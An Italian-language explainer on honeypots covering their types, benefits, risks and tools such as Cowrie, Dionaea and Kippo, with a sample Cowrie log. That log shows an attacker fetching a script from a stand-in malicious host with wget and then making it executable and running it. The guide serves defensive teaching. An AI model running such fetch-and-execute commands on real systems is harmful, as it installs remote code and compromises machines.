**Definizione delle Honeypot**

Le honeypot sono strumenti strategici utilizzati nel campo della sicurezza informatica per attirare attaccanti e monitorare le loro attività. Si tratta di sistemi o servizi deliberatamente vulnerabili progettati per simulare risorse reali di un'organizzazione, come server, database o applicazioni, con l'obiettivo di:

* **Raccogliere informazioni preziose** sulle tecniche di attacco.
* **Distrarre gli attaccanti** da sistemi critici o sensibili.
* **Studiare comportamenti malevoli** e identificare eventuali vulnerabilità interne.

Questi strumenti fungono da trappole digitali, inducendo i malintenzionati a interagire con loro anziché con risorse effettive, permettendo agli esperti di sicurezza di studiare gli attacchi in tempo reale.

**Tipi di Honeypot**

1. **Honeypot a bassa interazione (Low-Interaction):**
   * Simulano solo una parte limitata di un sistema, come un servizio (es. un server SSH o una porta aperta).
   * Non permettono un'interazione completa con il sistema.
   * **Vantaggi**: Facili da configurare e sicure da implementare.
   * **Limiti**: Raccolgono informazioni limitate, utili solo per attacchi superficiali.
2. **Honeypot ad alta interazione (High-Interaction):**
   * Simulano un intero sistema operativo o un servizio, permettendo agli attaccanti di interagire in modo completo.
   * **Vantaggi**: Offrono una visione approfondita delle tecniche degli attaccanti, come l’esecuzione di comandi o il caricamento di malware.
   * **Limiti**: Richiedono maggiore attenzione, perché un sistema compromesso potrebbe essere usato come trampolino di lancio per altri attacchi.
3. **Honeynets:**
   * Una rete di honeypot interconnessi, che simula un'intera infrastruttura aziendale.
   * **Vantaggi**: Consente di osservare attacchi complessi su più livelli.
   * **Limiti**: Complessa da gestire e richiede molte risorse.

**Vantaggi delle Honeypot per una Rete Aziendale**

1. **Monitoraggio Dettagliato degli Attacchi:**
   * Rilevano attività sospette e raccolgono dati precisi su vettori di attacco, strumenti utilizzati e obiettivi.
2. **Distrazione degli Attaccanti:**
   * Proteggono i sistemi reali attirando gli attaccanti su risorse false.
3. **Analisi Avanzata del Comportamento:**
   * Forniscono una comprensione dettagliata delle tecniche degli aggressori.
4. **Prevenzione e Miglioramento delle Difese:**
   * Le informazioni raccolte possono essere utilizzate per rafforzare firewall, IDS/IPS e altre misure di sicurezza.

**Rischi e Limitazioni**

1. **Compromissione della Honeypot:**
   * Un honeypot configurato male può essere sfruttato per attaccare altri sistemi, causando danni.
2. **Informazioni Parziali:**
   * Gli attacchi che non interagiscono con l'honeypot non vengono rilevati.
3. **Riconoscibilità da Parte degli Hacker:**
   * Gli attaccanti esperti possono identificare un honeypot e evitarlo, rendendolo inefficace.
4. **Richiesta di Risorse:**
   * La gestione delle honeypot ad alta interazione o delle honeynets può essere complessa e richiede competenze tecniche avanzate.

**Strumenti di Honeypot**

1. **Cowrie**
   * **Scopo**: Honeypot SSH e Telnet ad alta interazione.
   * **Funzionalità principali**:
     + Simula un terminale reale con un file system fittizio.
     + Raccoglie credenziali e registra i comandi eseguiti dagli attaccanti.
   * **Utilità**:
     + Perfetto per studiare attacchi di brute force o tecniche di accesso remoto.
2. **Dionaea**
   * **Scopo**: Honeypot a bassa interazione progettato per catturare malware.
   * **Funzionalità principali**:
     + Supporta protocolli come SMB, HTTP, FTP, TFTP.
     + Isola e analizza campioni di malware.
   * **Utilità**:
     + Utile per identificare nuovi malware e metodi di distribuzione.
3. **Kippo**
   * **Scopo**: Honeypot SSH per la raccolta di dati sugli attacchi.
   * **Funzionalità principali**:
     + Registra ogni comando digitato dagli attaccanti.
     + Permette di osservare il comportamento degli aggressori in tempo reale.
   * **Utilità**:
     + Ideale per analizzare le tecniche di attacco su server Linux.

**Uso Pratico: Esempio di Log**

**Dati Registrati da una Honeypot**

1. **Indirizzo IP dell'Attaccante**: Identifica la fonte geografica dell’attacco.
2. **Timestamp**: Registra il momento esatto di ogni interazione.
3. **Credenziali Tentate**: Nome utente e password utilizzati per accedere.
4. **Comandi Eseguiti**: Ogni comando inviato dagli attaccanti viene registrato.
5. **File Caricati o Malware**: Eventuali payload o script utilizzati.

**Esempio Reale di Log Generato da Cowrie**

2024-12-06 14:22:35+0000 [SSHService 'ssh-userauth'] login attempt [username: admin, password: admin123] from IP 192.168.1.10

2024-12-06 14:22:40+0000 [SSHService 'ssh-userauth'] login successful [username: admin]

2024-12-06 14:23:02+0000 [CowrieCommand input] Command executed: ls

2024-12-06 14:23:05+0000 [CowrieCommand input] Command executed: wget http://malicious-site.com/malware.sh

2024-12-06 14:23:10+0000 [CowrieFileUpload] File uploaded: malware.sh

2024-12-06 14:23:15+0000 [CowrieCommand input] Command executed: chmod +x malware.sh && ./malware.sh

**Valore dei Log per l’Analisi Forense**

1. **Ricostruzione degli Attacchi:**
   * Permette di comprendere esattamente come l’attaccante ha compromesso il sistema.
2. **Identificazione delle Tecniche:**
   * I comandi e i file caricati rivelano i metodi e strumenti utilizzati.
3. **Collegamenti con Attacchi Precedenti:**
   * Gli indirizzi IP e i payload possono essere correlati con campagne di attacco note.
4. **Preparazione per la Difesa:**
   * I dettagli raccolti aiutano a rafforzare le difese contro attacchi simili.

Questa analisi approfondita mostra come le honeypot possano essere strumenti fondamentali per proteggere infrastrutture critiche e studiare gli attacchi informatici con precisione.